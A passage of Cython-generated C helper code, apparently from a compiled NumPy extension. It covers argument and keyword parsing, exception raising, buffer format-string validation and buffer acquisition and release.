{\n            PyErr_SetString(PyExc_TypeError,\n                            \"exception causes must derive from \"\n                            \"BaseException\");\n            goto bad;\n        }\n        PyException_SetCause(value, fixed_cause);\n    }\n    PyErr_SetObject(type, value);\n    if (tb) {\n        PyThreadState *tstate = PyThreadState_GET();\n        PyObject* tmp_tb = tstate->curexc_traceback;\n        if (tb != tmp_tb) {\n            Py_INCREF(tb);\n            tstate->curexc_traceback = tb;\n            Py_XDECREF(tmp_tb);\n        }\n    }\nbad:\n    Py_XDECREF(owned_instance);\n    return;\n}\n#endif\n\nstatic void __Pyx_RaiseArgtupleInvalid(\n    const char* func_name,\n    int exact,\n    Py_ssize_t num_min,\n    Py_ssize_t num_max,\n    Py_ssize_t num_found)\n{\n    Py_ssize_t num_expected;\n    const char *more_or_less;\n    if (num_found < num_min) {\n        num_expected = num_min;\n        more_or_less = \"at least\";\n    } else {\n        num_expected = num_max;\n        more_or_less = \"at most\";\n    }\n    if (exact) {\n        more_or_less = \"exactly\";\n    }\n    PyErr_Format(PyExc_TypeError,\n                 \"%s() takes %s %\" CYTHON_FORMAT_SSIZE_T \"d positional argument%s (%\" CYTHON_FORMAT_SSIZE_T \"d given)\",\n                 func_name, more_or_less, num_expected,\n                 (num_expected == 1) ? \"\" : \"s\", num_found);\n}\n\nstatic void __Pyx_RaiseDoubleKeywordsError(\n    const char* func_name,\n    PyObject* kw_name)\n{\n    PyErr_Format(PyExc_TypeError,\n        #if PY_MAJOR_VERSION >= 3\n        \"%s() got multiple values for keyword argument '%U'\", func_name, kw_name);\n        #else\n        \"%s() got multiple values for keyword argument '%s'\", func_name,\n        PyString_AsString(kw_name));\n        #endif\n}\n\nstatic int __Pyx_ParseOptionalKeywords(\n    PyObject *kwds,\n    PyObject **argnames[],\n    PyObject *kwds2,\n    PyObject *values[],\n    Py_ssize_t num_pos_args,\n    const char* function_name)\n{\n    PyObject *key = 0, *value = 0;\n    Py_ssize_t pos = 0;\n    PyObject*** name;\n    PyObject*** first_kw_arg = argnames + num_pos_args;\n    while (PyDict_Next(kwds, &pos, &key, &value)) {\n        name = first_kw_arg;\n        while (*name && (**name != key)) name++;\n        if (*name) {\n            values[name-argnames] = value;\n            continue;\n        }\n        name = first_kw_arg;\n        #if PY_MAJOR_VERSION < 3\n        if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) {\n            while (*name) {\n                if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key))\n                        && _PyString_Eq(**name, key)) {\n                    values[name-argnames] = value;\n                    break;\n                }\n                name++;\n            }\n            if (*name) continue;\n            else {\n                PyObject*** argname = argnames;\n                while (argname != first_kw_arg) {\n                    if ((**argname == key) || (\n                            (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key))\n                             && _PyString_Eq(**argname, key))) {\n                        goto arg_passed_twice;\n                    }\n                    argname++;\n                }\n            }\n        } else\n        #endif\n        if (likely(PyUnicode_Check(key))) {\n            while (*name) {\n                int cmp = (**name == key) ? 0 :\n                #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3\n                    (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 :\n                #endif\n                    PyUnicode_Compare(**name, key);\n                if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad;\n                if (cmp == 0) {\n                    values[name-argnames] = value;\n                    break;\n                }\n                name++;\n            }\n            if (*name) continue;\n            else {\n                PyObject*** argname = argnames;\n                while (argname != first_kw_arg) {\n                    int cmp = (**argname == key) ? 0 :\n                    #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3\n                        (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 :\n                    #endif\n                        PyUnicode_Compare(**argname, key);\n                    if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad;\n                    if (cmp == 0) goto arg_passed_twice;\n                    argname++;\n                }\n            }\n        } else\n            goto invalid_keyword_type;\n        if (kwds2) {\n            if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad;\n        } else {\n            goto invalid_keyword;\n        }\n    }\n    return 0;\narg_passed_twice:\n    __Pyx_RaiseDoubleKeywordsError(function_name, key);\n    goto bad;\ninvalid_keyword_type:\n    PyErr_Format(PyExc_TypeError,\n        \"%s() keywords must be strings\", function_name);\n    goto bad;\ninvalid_keyword:\n    PyErr_Format(PyExc_TypeError,\n    #if PY_MAJOR_VERSION < 3\n        \"%s() got an unexpected keyword argument '%s'\",\n        function_name, PyString_AsString(key));\n    #else\n        \"%s() got an unexpected keyword argument '%U'\",\n        function_name, key);\n    #endif\nbad:\n    return -1;\n}\n\nstatic int __Pyx_ArgTypeTest(PyObject *obj, PyTypeObject *type, int none_allowed,\n    const char *name, int exact)\n{\n    if (!type) {\n        PyErr_Format(PyExc_SystemError, \"Missing type object\");\n        return 0;\n    }\n    if (none_allowed && obj == Py_None) return 1;\n    else if (exact) {\n        if (Py_TYPE(obj) == type) return 1;\n    }\n    else {\n        if (PyObject_TypeCheck(obj, type)) return 1;\n    }\n    PyErr_Format(PyExc_TypeError,\n        \"Argument '%s' has incorrect type (expected %s, got %s)\",\n        name, type->tp_name, Py_TYPE(obj)->tp_name);\n    return 0;\n}\n\nstatic CYTHON_INLINE int __Pyx_IsLittleEndian(void) {\n  unsigned int n = 1;\n  return *(unsigned char*)(&n) != 0;\n}\nstatic void __Pyx_BufFmt_Init(__Pyx_BufFmt_Context* ctx,\n                              __Pyx_BufFmt_StackElem* stack,\n                              __Pyx_TypeInfo* type) {\n  stack[0].field = &ctx->root;\n  stack[0].parent_offset = 0;\n  ctx->root.type = type;\n  ctx->root.name = \"buffer dtype\";\n  ctx->root.offset = 0;\n  ctx->head = stack;\n  ctx->head->field = &ctx->root;\n  ctx->fmt_offset = 0;\n  ctx->head->parent_offset = 0;\n  ctx->new_packmode = '@';\n  ctx->enc_packmode = '@';\n  ctx->new_count = 1;\n  ctx->enc_count = 0;\n  ctx->enc_type = 0;\n  ctx->is_complex = 0;\n  ctx->is_valid_array = 0;\n  ctx->struct_alignment = 0;\n  while (type->typegroup == 'S') {\n    ++ctx->head;\n    ctx->head->field = type->fields;\n    ctx->head->parent_offset = 0;\n    type = type->fields->type;\n  }\n}\nstatic int __Pyx_BufFmt_ParseNumber(const char** ts) {\n    int count;\n    const char* t = *ts;\n    if (*t < '0' || *t > '9') {\n      return -1;\n    } else {\n        count = *t++ - '0';\n        while (*t >= '0' && *t < '9') {\n            count *= 10;\n            count += *t++ - '0';\n        }\n    }\n    *ts = t;\n    return count;\n}\nstatic int __Pyx_BufFmt_ExpectNumber(const char **ts) {\n    int number = __Pyx_BufFmt_ParseNumber(ts);\n    if (number == -1) /* First char was not a digit */\n        PyErr_Format(PyExc_ValueError,\\\n                     \"Does not understand character buffer dtype format string ('%c')\", **ts);\n    return number;\n}\nstatic void __Pyx_BufFmt_RaiseUnexpectedChar(char ch) {\n  PyErr_Format(PyExc_ValueError,\n               \"Unexpected format string character: '%c'\", ch);\n}\nstatic const char* __Pyx_BufFmt_DescribeTypeChar(char ch, int is_complex) {\n  switch (ch) {\n    case 'c': return \"'char'\";\n    case 'b': return \"'signed char'\";\n    case 'B': return \"'unsigned char'\";\n    case 'h': return \"'short'\";\n    case 'H': return \"'unsigned short'\";\n    case 'i': return \"'int'\";\n    case 'I': return \"'unsigned int'\";\n    case 'l': return \"'long'\";\n    case 'L': return \"'unsigned long'\";\n    case 'q': return \"'long long'\";\n    case 'Q': return \"'unsigned long long'\";\n    case 'f': return (is_complex ? \"'complex float'\" : \"'float'\");\n    case 'd': return (is_complex ? \"'complex double'\" : \"'double'\");\n    case 'g': return (is_complex ? \"'complex long double'\" : \"'long double'\");\n    case 'T': return \"a struct\";\n    case 'O': return \"Python object\";\n    case 'P': return \"a pointer\";\n    case 's': case 'p': return \"a string\";\n    case 0: return \"end\";\n    default: return \"unparseable format string\";\n  }\n}\nstatic size_t __Pyx_BufFmt_TypeCharToStandardSize(char ch, int is_complex) {\n  switch (ch) {\n    case '?': case 'c': case 'b': case 'B': case 's': case 'p': return 1;\n    case 'h': case 'H': return 2;\n    case 'i': case 'I': case 'l': case 'L': return 4;\n    case 'q': case 'Q': return 8;\n    case 'f': return (is_complex ? 8 : 4);\n    case 'd': return (is_complex ? 16 : 8);\n    case 'g': {\n      PyErr_SetString(PyExc_ValueError, \"Python does not define a standard format string size for long double ('g')..\");\n      return 0;\n    }\n    case 'O': case 'P': return sizeof(void*);\n    default:\n      __Pyx_BufFmt_RaiseUnexpectedChar(ch);\n      return 0;\n    }\n}\nstatic size_t __Pyx_BufFmt_TypeCharToNativeSize(char ch, int is_complex) {\n  switch (ch) {\n    case 'c': case 'b': case 'B': case 's': case 'p': return 1;\n    case 'h': case 'H': return sizeof(short);\n    case 'i': case 'I': return sizeof(int);\n    case 'l': case 'L': return sizeof(long);\n    #ifdef HAVE_LONG_LONG\n    case 'q': case 'Q': return sizeof(PY_LONG_LONG);\n    #endif\n    case 'f': return sizeof(float) * (is_complex ? 2 : 1);\n    case 'd': return sizeof(double) * (is_complex ? 2 : 1);\n    case 'g': return sizeof(long double) * (is_complex ? 2 : 1);\n    case 'O': case 'P': return sizeof(void*);\n    default: {\n      __Pyx_BufFmt_RaiseUnexpectedChar(ch);\n      return 0;\n    }\n  }\n}\ntypedef struct { char c; short x; } __Pyx_st_short;\ntypedef struct { char c; int x; } __Pyx_st_int;\ntypedef struct { char c; long x; } __Pyx_st_long;\ntypedef struct { char c; float x; } __Pyx_st_float;\ntypedef struct { char c; double x; } __Pyx_st_double;\ntypedef struct { char c; long double x; } __Pyx_st_longdouble;\ntypedef struct { char c; void *x; } __Pyx_st_void_p;\n#ifdef HAVE_LONG_LONG\ntypedef struct { char c; PY_LONG_LONG x; } __Pyx_st_longlong;\n#endif\nstatic size_t __Pyx_BufFmt_TypeCharToAlignment(char ch, CYTHON_UNUSED int is_complex) {\n  switch (ch) {\n    case '?': case 'c': case 'b': case 'B': case 's': case 'p': return 1;\n    case 'h': case 'H': return sizeof(__Pyx_st_short) - sizeof(short);\n    case 'i': case 'I': return sizeof(__Pyx_st_int) - sizeof(int);\n    case 'l': case 'L': return sizeof(__Pyx_st_long) - sizeof(long);\n#ifdef HAVE_LONG_LONG\n    case 'q': case 'Q': return sizeof(__Pyx_st_longlong) - sizeof(PY_LONG_LONG);\n#endif\n    case 'f': return sizeof(__Pyx_st_float) - sizeof(float);\n    case 'd': return sizeof(__Pyx_st_double) - sizeof(double);\n    case 'g': return sizeof(__Pyx_st_longdouble) - sizeof(long double);\n    case 'P': case 'O': return sizeof(__Pyx_st_void_p) - sizeof(void*);\n    default:\n      __Pyx_BufFmt_RaiseUnexpectedChar(ch);\n      return 0;\n    }\n}\n/* These are for computing the padding at the end of the struct to align\n   on the first member of the struct. This will probably the same as above,\n   but we don't have any guarantees.\n */\ntypedef struct { short x; char c; } __Pyx_pad_short;\ntypedef struct { int x; char c; } __Pyx_pad_int;\ntypedef struct { long x; char c; } __Pyx_pad_long;\ntypedef struct { float x; char c; } __Pyx_pad_float;\ntypedef struct { double x; char c; } __Pyx_pad_double;\ntypedef struct { long double x; char c; } __Pyx_pad_longdouble;\ntypedef struct { void *x; char c; } __Pyx_pad_void_p;\n#ifdef HAVE_LONG_LONG\ntypedef struct { PY_LONG_LONG x; char c; } __Pyx_pad_longlong;\n#endif\nstatic size_t __Pyx_BufFmt_TypeCharToPadding(char ch, CYTHON_UNUSED int is_complex) {\n  switch (ch) {\n    case '?': case 'c': case 'b': case 'B': case 's': case 'p': return 1;\n    case 'h': case 'H': return sizeof(__Pyx_pad_short) - sizeof(short);\n    case 'i': case 'I': return sizeof(__Pyx_pad_int) - sizeof(int);\n    case 'l': case 'L': return sizeof(__Pyx_pad_long) - sizeof(long);\n#ifdef HAVE_LONG_LONG\n    case 'q': case 'Q': return sizeof(__Pyx_pad_longlong) - sizeof(PY_LONG_LONG);\n#endif\n    case 'f': return sizeof(__Pyx_pad_float) - sizeof(float);\n    case 'd': return sizeof(__Pyx_pad_double) - sizeof(double);\n    case 'g': return sizeof(__Pyx_pad_longdouble) - sizeof(long double);\n    case 'P': case 'O': return sizeof(__Pyx_pad_void_p) - sizeof(void*);\n    default:\n      __Pyx_BufFmt_RaiseUnexpectedChar(ch);\n      return 0;\n    }\n}\nstatic char __Pyx_BufFmt_TypeCharToGroup(char ch, int is_complex) {\n  switch (ch) {\n    case 'c':\n        return 'H';\n    case 'b': case 'h': case 'i':\n    case 'l': case 'q': case 's': case 'p':\n        return 'I';\n    case 'B': case 'H': case 'I': case 'L': case 'Q':\n        return 'U';\n    case 'f': case 'd': case 'g':\n        return (is_complex ? 'C' : 'R');\n    case 'O':\n        return 'O';\n    case 'P':\n        return 'P';\n    default: {\n      __Pyx_BufFmt_RaiseUnexpectedChar(ch);\n      return 0;\n    }\n  }\n}\nstatic void __Pyx_BufFmt_RaiseExpected(__Pyx_BufFmt_Context* ctx) {\n  if (ctx->head == NULL || ctx->head->field == &ctx->root) {\n    const char* expected;\n    const char* quote;\n    if (ctx->head == NULL) {\n      expected = \"end\";\n      quote = \"\";\n    } else {\n      expected = ctx->head->field->type->name;\n      quote = \"'\";\n    }\n    PyErr_Format(PyExc_ValueError,\n                 \"Buffer dtype mismatch, expected %s%s%s but got %s\",\n                 quote, expected, quote,\n                 __Pyx_BufFmt_DescribeTypeChar(ctx->enc_type, ctx->is_complex));\n  } else {\n    __Pyx_StructField* field = ctx->head->field;\n    __Pyx_StructField* parent = (ctx->head - 1)->field;\n    PyErr_Format(PyExc_ValueError,\n                 \"Buffer dtype mismatch, expected '%s' but got %s in '%s.%s'\",\n                 field->type->name, __Pyx_BufFmt_DescribeTypeChar(ctx->enc_type, ctx->is_complex),\n                 parent->type->name, field->name);\n  }\n}\nstatic int __Pyx_BufFmt_ProcessTypeChunk(__Pyx_BufFmt_Context* ctx) {\n  char group;\n  size_t size, offset, arraysize = 1;\n  if (ctx->enc_type == 0) return 0;\n  if (ctx->head->field->type->arraysize[0]) {\n    int i, ndim = 0;\n    if (ctx->enc_type == 's' || ctx->enc_type == 'p') {\n        ctx->is_valid_array = ctx->head->field->type->ndim == 1;\n        ndim = 1;\n        if (ctx->enc_count != ctx->head->field->type->arraysize[0]) {\n            PyErr_Format(PyExc_ValueError,\n                         \"Expected a dimension of size %zu, got %zu\",\n                         ctx->head->field->type->arraysize[0], ctx->enc_count);\n            return -1;\n        }\n    }\n    if (!ctx->is_valid_array) {\n      PyErr_Format(PyExc_ValueError, \"Expected %d dimensions, got %d\",\n                   ctx->head->field->type->ndim, ndim);\n      return -1;\n    }\n    for (i = 0; i < ctx->head->field->type->ndim; i++) {\n      arraysize *= ctx->head->field->type->arraysize[i];\n    }\n    ctx->is_valid_array = 0;\n    ctx->enc_count = 1;\n  }\n  group = __Pyx_BufFmt_TypeCharToGroup(ctx->enc_type, ctx->is_complex);\n  do {\n    __Pyx_StructField* field = ctx->head->field;\n    __Pyx_TypeInfo* type = field->type;\n    if (ctx->enc_packmode == '@' || ctx->enc_packmode == '^') {\n      size = __Pyx_BufFmt_TypeCharToNativeSize(ctx->enc_type, ctx->is_complex);\n    } else {\n      size = __Pyx_BufFmt_TypeCharToStandardSize(ctx->enc_type, ctx->is_complex);\n    }\n    if (ctx->enc_packmode == '@') {\n      size_t align_at = __Pyx_BufFmt_TypeCharToAlignment(ctx->enc_type, ctx->is_complex);\n      size_t align_mod_offset;\n      if (align_at == 0) return -1;\n      align_mod_offset = ctx->fmt_offset % align_at;\n      if (align_mod_offset > 0) ctx->fmt_offset += align_at - align_mod_offset;\n      if (ctx->struct_alignment == 0)\n          ctx->struct_alignment = __Pyx_BufFmt_TypeCharToPadding(ctx->enc_type,\n                                                                 ctx->is_complex);\n    }\n    if (type->size != size || type->typegroup != group) {\n      if (type->typegroup == 'C' && type->fields != NULL) {\n        size_t parent_offset = ctx->head->parent_offset + field->offset;\n        ++ctx->head;\n        ctx->head->field = type->fields;\n        ctx->head->parent_offset = parent_offset;\n        continue;\n      }\n      if ((type->typegroup == 'H' || group == 'H') && type->size == size) {\n      } else {\n          __Pyx_BufFmt_RaiseExpected(ctx);\n          return -1;\n      }\n    }\n    offset = ctx->head->parent_offset + field->offset;\n    if (ctx->fmt_offset != offset) {\n      PyErr_Format(PyExc_ValueError,\n                   \"Buffer dtype mismatch; next field is at offset %\" CYTHON_FORMAT_SSIZE_T \"d but %\" CYTHON_FORMAT_SSIZE_T \"d expected\",\n                   (Py_ssize_t)ctx->fmt_offset, (Py_ssize_t)offset);\n      return -1;\n    }\n    ctx->fmt_offset += size;\n    if (arraysize)\n      ctx->fmt_offset += (arraysize - 1) * size;\n    --ctx->enc_count; /* Consume from buffer string */\n    while (1) {\n      if (field == &ctx->root) {\n        ctx->head = NULL;\n        if (ctx->enc_count != 0) {\n          __Pyx_BufFmt_RaiseExpected(ctx);\n          return -1;\n        }\n        break; /* breaks both loops as ctx->enc_count == 0 */\n      }\n      ctx->head->field = ++field;\n      if (field->type == NULL) {\n        --ctx->head;\n        field = ctx->head->field;\n        continue;\n      } else if (field->type->typegroup == 'S') {\n        size_t parent_offset = ctx->head->parent_offset + field->offset;\n        if (field->type->fields->type == NULL) continue; /* empty struct */\n        field = field->type->fields;\n        ++ctx->head;\n        ctx->head->field = field;\n        ctx->head->parent_offset = parent_offset;\n        break;\n      } else {\n        break;\n      }\n    }\n  } while (ctx->enc_count);\n  ctx->enc_type = 0;\n  ctx->is_complex = 0;\n  return 0;\n}\nstatic CYTHON_INLINE PyObject *\n__pyx_buffmt_parse_array(__Pyx_BufFmt_Context* ctx, const char** tsp)\n{\n    const char *ts = *tsp;\n    int i = 0, number;\n    int ndim = ctx->head->field->type->ndim;\n;\n    ++ts;\n    if (ctx->new_count != 1) {\n        PyErr_SetString(PyExc_ValueError,\n                        \"Cannot handle repeated arrays in format string\");\n        return NULL;\n    }\n    if (__Pyx_BufFmt_ProcessTypeChunk(ctx) == -1) return NULL;\n    while (*ts && *ts != ')') {\n        if (isspace(*ts))\n            continue;\n        number = __Pyx_BufFmt_ExpectNumber(&ts);\n        if (number == -1) return NULL;\n        if (i < ndim && (size_t) number != ctx->head->field->type->arraysize[i])\n            return PyErr_Format(PyExc_ValueError,\n                        \"Expected a dimension of size %zu, got %d\",\n                        ctx->head->field->type->arraysize[i], number);\n        if (*ts != ',' && *ts != ')')\n            return PyErr_Format(PyExc_ValueError,\n                                \"Expected a comma in format string, got '%c'\", *ts);\n        if (*ts == ',') ts++;\n        i++;\n    }\n    if (i != ndim)\n        return PyErr_Format(PyExc_ValueError, \"Expected %d dimension(s), got %d\",\n                            ctx->head->field->type->ndim, i);\n    if (!*ts) {\n        PyErr_SetString(PyExc_ValueError,\n                        \"Unexpected end of format string, expected ')'\");\n        return NULL;\n    }\n    ctx->is_valid_array = 1;\n    ctx->new_count = 1;\n    *tsp = ++ts;\n    return Py_None;\n}\nstatic const char* __Pyx_BufFmt_CheckString(__Pyx_BufFmt_Context* ctx, const char* ts) {\n  int got_Z = 0;\n  while (1) {\n    switch(*ts) {\n      case 0:\n        if (ctx->enc_type != 0 && ctx->head == NULL) {\n          __Pyx_BufFmt_RaiseExpected(ctx);\n          return NULL;\n        }\n        if (__Pyx_BufFmt_ProcessTypeChunk(ctx) == -1) return NULL;\n        if (ctx->head != NULL) {\n          __Pyx_BufFmt_RaiseExpected(ctx);\n          return NULL;\n        }\n                return ts;\n      case ' ':\n      case 10:\n      case 13:\n        ++ts;\n        break;\n      case '<':\n        if (!__Pyx_IsLittleEndian()) {\n          PyErr_SetString(PyExc_ValueError, \"Little-endian buffer not supported on big-endian compiler\");\n          return NULL;\n        }\n        ctx->new_packmode = '=';\n        ++ts;\n        break;\n      case '>':\n      case '!':\n        if (__Pyx_IsLittleEndian()) {\n          PyErr_SetString(PyExc_ValueError, \"Big-endian buffer not supported on little-endian compiler\");\n          return NULL;\n        }\n        ctx->new_packmode = '=';\n        ++ts;\n        break;\n      case '=':\n      case '@':\n      case '^':\n        ctx->new_packmode = *ts++;\n        break;\n      case 'T': /* substruct */\n        {\n          const char* ts_after_sub;\n          size_t i, struct_count = ctx->new_count;\n          size_t struct_alignment = ctx->struct_alignment;\n          ctx->new_count = 1;\n          ++ts;\n          if (*ts != '{') {\n            PyErr_SetString(PyExc_ValueError, \"Buffer acquisition: Expected '{' after 'T'\");\n            return NULL;\n          }\n          if (__Pyx_BufFmt_ProcessTypeChunk(ctx) == -1) return NULL;\n          ctx->enc_type = 0; /* Erase processed last struct element */\n          ctx->enc_count = 0;\n          ctx->struct_alignment = 0;\n          ++ts;\n          ts_after_sub = ts;\n          for (i = 0; i != struct_count; ++i) {\n            ts_after_sub = __Pyx_BufFmt_CheckString(ctx, ts);\n            if (!ts_after_sub) return NULL;\n          }\n          ts = ts_after_sub;\n          if (struct_alignment) ctx->struct_alignment = struct_alignment;\n        }\n        break;\n      case '}': /* end of substruct; either repeat or move on */\n        {\n          size_t alignment = ctx->struct_alignment;\n          ++ts;\n          if (__Pyx_BufFmt_ProcessTypeChunk(ctx) == -1) return NULL;\n          ctx->enc_type = 0; /* Erase processed last struct element */\n          if (alignment && ctx->fmt_offset % alignment) {\n            ctx->fmt_offset += alignment - (ctx->fmt_offset % alignment);\n          }\n        }\n        return ts;\n      case 'x':\n        if (__Pyx_BufFmt_ProcessTypeChunk(ctx) == -1) return NULL;\n        ctx->fmt_offset += ctx->new_count;\n        ctx->new_count = 1;\n        ctx->enc_count = 0;\n        ctx->enc_type = 0;\n        ctx->enc_packmode = ctx->new_packmode;\n        ++ts;\n        break;\n      case 'Z':\n        got_Z = 1;\n        ++ts;\n        if (*ts != 'f' && *ts != 'd' && *ts != 'g') {\n          __Pyx_BufFmt_RaiseUnexpectedChar('Z');\n          return NULL;\n        }        /* fall through */\n      case 'c': case 'b': case 'B': case 'h': case 'H': case 'i': case 'I':\n      case 'l': case 'L': case 'q': case 'Q':\n      case 'f': case 'd': case 'g':\n      case 'O': case 's': case 'p':\n        if (ctx->enc_type == *ts && got_Z == ctx->is_complex &&\n            ctx->enc_packmode == ctx->new_packmode) {\n          ctx->enc_count += ctx->new_count;\n        } else {\n          if (__Pyx_BufFmt_ProcessTypeChunk(ctx) == -1) return NULL;\n          ctx->enc_count = ctx->new_count;\n          ctx->enc_packmode = ctx->new_packmode;\n          ctx->enc_type = *ts;\n          ctx->is_complex = got_Z;\n        }\n        ++ts;\n        ctx->new_count = 1;\n        got_Z = 0;\n        break;\n      case ':':\n        ++ts;\n        while(*ts != ':') ++ts;\n        ++ts;\n        break;\n      case '(':\n        if (!__pyx_buffmt_parse_array(ctx, &ts)) return NULL;\n        break;\n      default:\n        {\n          int number = __Pyx_BufFmt_ExpectNumber(&ts);\n          if (number == -1) return NULL;\n          ctx->new_count = (size_t)number;\n        }\n    }\n  }\n}\nstatic CYTHON_INLINE void __Pyx_ZeroBuffer(Py_buffer* buf) {\n  buf->buf = NULL;\n  buf->obj = NULL;\n  buf->strides = __Pyx_zeros;\n  buf->shape = __Pyx_zeros;\n  buf->suboffsets = __Pyx_minusones;\n}\nstatic CYTHON_INLINE int __Pyx_GetBufferAndValidate(\n        Py_buffer* buf, PyObject* obj,  __Pyx_TypeInfo* dtype, int flags,\n        int nd, int cast, __Pyx_BufFmt_StackElem* stack)\n{\n  if (obj == Py_None || obj == NULL) {\n    __Pyx_ZeroBuffer(buf);\n    return 0;\n  }\n  buf->buf = NULL;\n  if (__Pyx_GetBuffer(obj, buf, flags) == -1) goto fail;\n  if (buf->ndim != nd) {\n    PyErr_Format(PyExc_ValueError,\n                 \"Buffer has wrong number of dimensions (expected %d, got %d)\",\n                 nd, buf->ndim);\n    goto fail;\n  }\n  if (!cast) {\n    __Pyx_BufFmt_Context ctx;\n    __Pyx_BufFmt_Init(&ctx, stack, dtype);\n    if (!__Pyx_BufFmt_CheckString(&ctx, buf->format)) goto fail;\n  }\n  if ((unsigned)buf->itemsize != dtype->size) {\n    PyErr_Format(PyExc_ValueError,\n      \"Item size of buffer (%\" CYTHON_FORMAT_SSIZE_T \"d byte%s) does not match size of '%s' (%\" CYTHON_FORMAT_SSIZE_T \"d byte%s)\",\n      buf->itemsize, (buf->itemsize > 1) ? \"s\" : \"\",\n      dtype->name, (Py_ssize_t)dtype->size, (dtype->size > 1) ? \"s\" : \"\");\n    goto fail;\n  }\n  if (buf->suboffsets == NULL) buf->suboffsets = __Pyx_minusones;\n  return 0;\nfail:;\n  __Pyx_ZeroBuffer(buf);\n  return -1;\n}\nstatic CYTHON_INLINE void __Pyx_SafeReleaseBuffer(Py_buffer* info) {\n  if (info->buf == NULL) return;\n  if (info->suboffsets == __Pyx_minusones) info->suboffsets = NULL;\n  __Pyx_ReleaseBuffer(info);\n}\n\nstatic CYTHON_INLINE int __Pyx_TypeTest(PyObject *obj, PyTypeObject *type) {\n    if (unlikely(!type)) {\n        PyErr_Format(PyExc_SystemError, \"Missing type object\");\n        return 0;\n    }\n    if (likely(PyObject_TypeCheck(obj, type)))\n        return 1;\n    PyErr_Format(PyExc_TypeError, \"Cannot convert %.200s to %.200s\",\n                 Py_TYPE(obj)->tp_name, type->tp_name);\n    return 0;\n}\n\nstatic void __Pyx_RaiseBufferFallbackError(void) {\n  PyErr_Format(PyExc_ValueError,\n     \"Buffer acquisition failed on assignment; and then reacquiring the old buffer failed too!\");\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) {\n    PyErr_Format(PyExc_ValueError,\n                 \"too many values to unpack (expected %\" CYTHON_FORMAT_SSIZE_T \"d)\", expected);\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) {\n    PyErr_Format(PyExc_ValueError,\n                 \"need more than %\" CYTHON_FORMAT_SSIZE_T \"d value%s to unpack\",\n                 index, (index == 1) ? \"\" : \"s\");\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void) {\n    PyErr_SetString(PyExc_TypeError, \"'NoneType' object is not iterable\");\n}\n\nstatic CYTHON_INLINE int __Pyx_IterFinish(void) {\n#if CYTHON_COMPILING_IN_CPYTHON\n    PyThreadState *tstate = PyThreadState_GET();\n    PyObject* exc_type = tstate->curexc_type;\n    if (unlikely(exc_type)) {\n        if (likely(exc_type == PyExc_StopIteration) || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)) {\n            PyObject *exc_value, *exc_tb;\n            exc_value = tstate->curexc_value;\n            exc_tb = tstate->curexc_traceback;\n            tstate->curexc_type = 0;\n            tstate->curexc_value = 0;\n            tstate->curexc_traceback = 0;\n            Py_DECREF(exc_type);\n            Py_XDECREF(exc_value);\n            Py_XDECREF(exc_tb);\n            return 0;\n        } else {\n            return -1;\n        }\n    }\n    return 0;\n#else\n    if (unlikely(PyErr_Occurred())) {\n        if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) {\n            PyErr_Clear();\n            return 0;\n        } else {\n            return -1;\n        }\n    }\n    return 0;\n#endif\n}\n\nstatic int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) {\n    if (unlikely(retval)) {\n        Py_DECREF(retval);\n        __Pyx_RaiseTooManyValuesError(expected);\n        return -1;\n    } else {\n        return __Pyx_IterFinish();\n    }\n    return 0;\n}\n\n#if PY_MAJOR_VERSION < 3\nstatic int __Pyx_GetBuffer(PyObject *obj, Py_buffer *view, int flags) {\n    CYTHON_UNUSED PyObject *getbuffer_cobj;\n  #if PY_VERSION_HEX >= 0x02060000\n    if (PyObject_CheckBuffer(obj)) return PyObject_GetBuffer(obj, view, flags);\n  #endif\n        if (PyObject_TypeCheck(obj, __pyx_ptype_5numpy_ndarray)) return __pyx_pw_5numpy_7ndarray_1__getbuffer__(obj, view, flags);\n  #if PY_VERSION_HEX < 0x02060000\n    if (obj->ob_type->tp_dict &&\n        (getbuffer_cobj = PyMapping_GetItemString(obj->ob_type->tp_dict,\n                                             \"__pyx_getbuffer\"))) {\n        getbufferproc func;\n      #if PY_VERSION_HEX >= 0x02070000 && !(PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION == 0)\n        func = (getbufferproc) PyCapsule_GetPointer(getbuffer_cobj, \"getbuffer(obj, view, flags)\");\n      #else\n        func = (getbufferproc) PyCObject_AsVoidPtr(getbuffer_cobj);\n      #endif\n        Py_DECREF(getbuffer_cobj);\n        if (!func)\n            goto fail;\n        return func(obj, view, flags);\n    } else {\n        PyErr_Clear();\n    }\n  #endif\n    PyErr_Format(PyExc_TypeError, \"'%100s' does not have the buffer interface\", Py_TYPE(obj)->tp_name);\n#if PY_VERSION_HEX < 0x02060000\nfail:\n#endif\n    return -1;\n}\nstatic void __Pyx_ReleaseBuffer(Py_buffer *view) {\n    PyObject *obj = view->obj;\n    CYTHON_UNUSED PyObject *releasebuffer_cobj;\n    if (!obj) return;\n  #if PY_VERSION_HEX >= 0x02060000\n    if (PyObject_CheckBuffer(obj)) {\n        PyBuffer_Release(view);\n        return;\n    }\n  #endif\n        if (PyObject_TypeCheck(obj, __pyx_ptype_5numpy_ndarray)) { __pyx_pw_5numpy_7ndarray_3__releasebuffer__(obj, view); return; }\n  #if PY_VERSION_HEX < 0x02060000\n    if (obj->ob_type->tp_dict &&\n        (releasebuffer_cobj = PyMapping_GetItemString(obj->ob_type->tp_dict,\n                                                      \"__pyx_releasebuffer\"))) {\n        releasebufferproc func;\n      #if PY_VERSION_HEX >= 0x02070000 && !(PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION == 0)\n        func = (releasebufferproc) PyCapsule_GetPointer(releasebuffer_cobj, 